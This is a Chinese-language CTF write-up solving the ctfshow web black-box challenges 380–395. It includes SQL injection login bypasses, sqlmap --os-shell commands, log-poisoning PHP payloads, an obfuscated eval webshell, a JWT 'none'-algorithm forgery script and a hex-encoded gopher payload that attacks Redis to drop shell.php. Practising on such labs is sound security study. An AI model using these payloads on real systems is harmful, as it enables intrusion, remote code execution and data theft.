npfs's blog

�Ὣ���¶�����

ctfshow-web入门-黑盒测试

这两天刷了下ctfshow-web入门的黑盒测试题目,下面是wp

[toc]

web 380 (目录扫描)

后台目录扫描发现page.php

payload: page.php?id=flag

web 381 (css路径)

查看源码,发现一个奇怪的路径

访问/alsckdfy/即可获得flag

web 382 (万能密码/爆破/sqlmap)

解法一:

后台万能密码登录 /alsckdfy/

admin 'or ‘1’=‘1’#

登录即可拿到flag

解法二:

爆破常用用户名密码

得到admin/admin888

解法三:

sqlmap

python sqlmap.py -l "1.txt" -p p -D ctfshow -T admin_user -C password --dump

web 383 (万能密码/爆破/sqlmap)

同 382

web 384 (爆破)

根据提示

密码前2位是小写字母,后三位是数字

直接后台 /alsckdfy/ 抓包爆破,账号为amdin,得到密码为xy123

web 385 (配置文件利用)

目录扫描,得到install

访问install/?install重置默认密码(admin888),登入即可

web 386 (配置文件利用)

目录扫描得到如下

/install/

/clear.php

/install/

接下去就是和web385一样的流程了

web 387 (日志文件包含)

hint:前面部分和386一样

/install/

clear.php

但是发现这题无法删除lock.dat

随手一个robots.txt

得到个目录/debug

相似的套路,传个参数file

成功,接下去就是想办法读flag了

读日志试下 (关于日志文件包含可以参考我之前的文章 日志文件包含

1
user-agent:<?php unlink('/var/www/html/install/lock.dat')?>

删除安装文件

接下去的流程就和web385一样了

web 388 (CVE-2017-1002024/免杀马)

扫到一个目录

/alsckdfy/editor/

是个kindeditor的编辑器,看下版本是4.1.11

百度查下相应漏洞 CVE-2017-1002024

发现只允许上传如上格式文件

1
2
3
4
<?php
$a = '<?ph'.'p ev'.'al($_PO'.'ST[1]);?>';
file_put_contents('/var/www/html/1.php',$a);
?>

上传一个txt文件,内容如上

上传成功

  • 通过/debug/?file=参数传给日志文件
1
/debug/?file=/var/www/html/alsckdfy/attached/file/20211012/20211012073242_61370.txt
  • 访问日志文件。执行一句话
1
/debug/?file=/var/log/nginx/access.log

不需要显示

  • 访问1.php,包含成功执行rce

查看源码即可得到flag

web 389 (session伪造/jwt/日志文件包含)

访问debug 权限不足

结合权限相问题,考虑到session存在问题,看到eyjh开头,条件反射想到jwt

关于jwt攻击,可以看我之前写的文章 jwt攻击学习

可以看到用户为user,我们要将其修改为admin,首先爆破secret,但是发现爆破不出来,尝试用空加密算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import jwt
token = jwt.encode(
{
"iss": "admin",
"iat": 1634024331,
"exp": 1634031531,
"nbf": 1634024331,
"sub": "admin",
"jti": "ae90bdc9a931244e163fea13c5baae44"
},
algorithm="none",key=""
)

print(token.encode("utf-8").decode("utf-8"))

替换下cookie,成功得到权限

接下去的流程就和web389一样了

上传文件 —> debug?file 写入日志 —> 访问日志文件 —> getshell

web 390 (sql注入)

sql注入

python sqlmap.py -u “http://726cd839-3d5c-4092-b0ae-d4753b7b5ef9.challenge.ctf.show:8080/page.php?id=1" –os-shell

web 391 (sql注入)

还是sql注入

注入点在title搜索框

python sqlmap.py -u “http://b6943d5d-2d10-4394-bdce-9f34e0f3d616.challenge.ctf.show:8080/search.php?title=1" –os-shell

web 392 (sql注入)

和上题一样,title存在注入点

flag在根目录

web 393 (堆叠注入)

相比前面的题,该题多了个搜索引擎

访问百度,显示的就是百度的页面,尝试搜索,但是并不会跳转正常的百度搜索结果出来,那么可以猜测这个是从数据库中调用出来的

注入点还是在title,但是不能用 –os-shell

python sqlmap.py -u “http://4d5922c6-6877-4708-984c-740bb5c577d3.challenge.ctf.show:8080/search.php?title=q" -D “ctfshow” –tables –dump

python sqlmap.py -u “http://4d5922c6-6877-4708-984c-740bb5c577d3.challenge.ctf.show:8080/search.php?title=q" -D “ctfshow” -T “link” –columns –dump

这里有个url,结合前面的搜索引擎,思路是将这里的url修改为file:///flag

?title=aa’;update link set url=’file:///flag’;select 1,2,’a

之后随便访问个搜索引擎,就会显示flag

web 394 (堆叠注入)

和上题一样, title处存在sql注入

也存在一个link表,表里有个url列名

原理和上题一样,不过在这题使用十六进制编码绕过

?title=aa’;update link set url=0x66696C653A2F2F2F7661722F7777772F68746D6C2F616C73636B6466792F636865636B2E706870;select 1,2,’a

之后随便访问个搜索引擎查看源代码

web 395 (堆叠注入/redis)

和上题一样

?title=aa’;update link set url=0x66696C653A2F2F2F7661722F7777772F68746D6C2F616C73636B6466792F636865636B2E706870;select 1,2,’a

看了羽师傅的wp发现还有一种解法就是攻击redis服务

题中url字段默认长度最长为255,我们首先需要修改这个默认长度

search.php?title=1’;alter table link modify column url text;

然后就是通过gopher生成攻击payload

hex编码后,payload如下

1
search.php?title=1';insert into link values(6,'a',0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323433302530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542636d642535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234392530442530417368656c6c2e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);

payload打过去之后,访问/linp.php?id=6 ,就会在网站根目录生成shell.php

参考链接

https://blog.csdn.net/miuzzx/article/details/112522873